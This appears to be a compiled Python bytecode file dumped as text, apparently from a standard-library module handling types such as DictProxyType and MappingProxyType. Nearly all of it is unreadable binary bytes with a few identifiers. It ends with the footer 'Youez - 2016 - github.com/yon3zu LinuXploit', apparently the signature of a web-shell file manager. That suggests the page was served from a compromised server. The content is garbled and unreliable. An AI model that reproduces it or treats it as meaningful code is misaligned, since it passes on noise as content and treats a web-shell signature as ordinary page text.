DictProxyType�	ClassType�	SliceTyper��MappingProxyType�sliceri�bytesr�rrrh�mapr��Ellipsis�NotImplementedr�rMrOrRrTrVr)�randomr]r_rOr(r�<module>r�s#��]�]�~&�%�%�%�%�%�����	�	�	�	�	�	�	�	�
�
�
�
�����������������������������*�*�*�*�*�*�(�(�(�(�(�(�U�U�U�����4�
��
�2���'�'��	�	�	�	��/�/�/�/�/��/�/���/�
�
�
���T�.�������T�.�����*�*�*�*�*��*�*�*�(}�}�}�}�}�&�}�}�}�@���&]�]�]�]�]�M�]�]�]�@���������
�
�
�
�
�9�
�
�
� )�)�)�)�)�	�)�)�)�, � � � � �I� � � ����������>
�
�
�
�
�
�
�
�%"�%"�%"�%"�%"�%"�%"�%"�P
�
�
�
�
�
�
�
� #�#�#�L���,���6���,��� � � � � � � � �<�<�<�,�,�,�!�!�!�<	 �	 �	 �
'�
'�
'�>�>�>� �#�O�O��� � � ��O�O�O� ����
����	������
� 5� 5�c�3� ?� ?�	�
	� 5� 5�c�3� ?� ?��	� 6� 6�s�C� @� @�
�� 5� 5�c�3� ?� ?��� 5� 5�m�T� J� J��
�
��� 2��	���
�� 0��
�� 0��
����
�� =�� 
���!�"
���#�$� 1�%���,
�D�����	��D���!7�!7�
�C�!H�!H�O�I��
*����u�2�5�5�n�d�K�K�M�M�M�'3�O�E�O�$�'3�O�E�O�$�$���*�*�*���/��6�6��E�*�+�)�O�E����*����
&����%���������
�
�
��}�}�S�S��d�D�%��&4�.6�&7�&7�8D�F�F��;�;�;����&�&�&����%�%�%����
�/B�C�C�C����
�/B�C�C�C������7�7�7����	�?�;�;�;����
�,<�=�=�=��z��� � � � � � �	�	�	�	�	�f�	�	�	��F�3�3�5�5�$��������s$�E�E#�"E#�9I
�
I.�-I.

Youez - 2016 - github.com/yon3zu
LinuXploit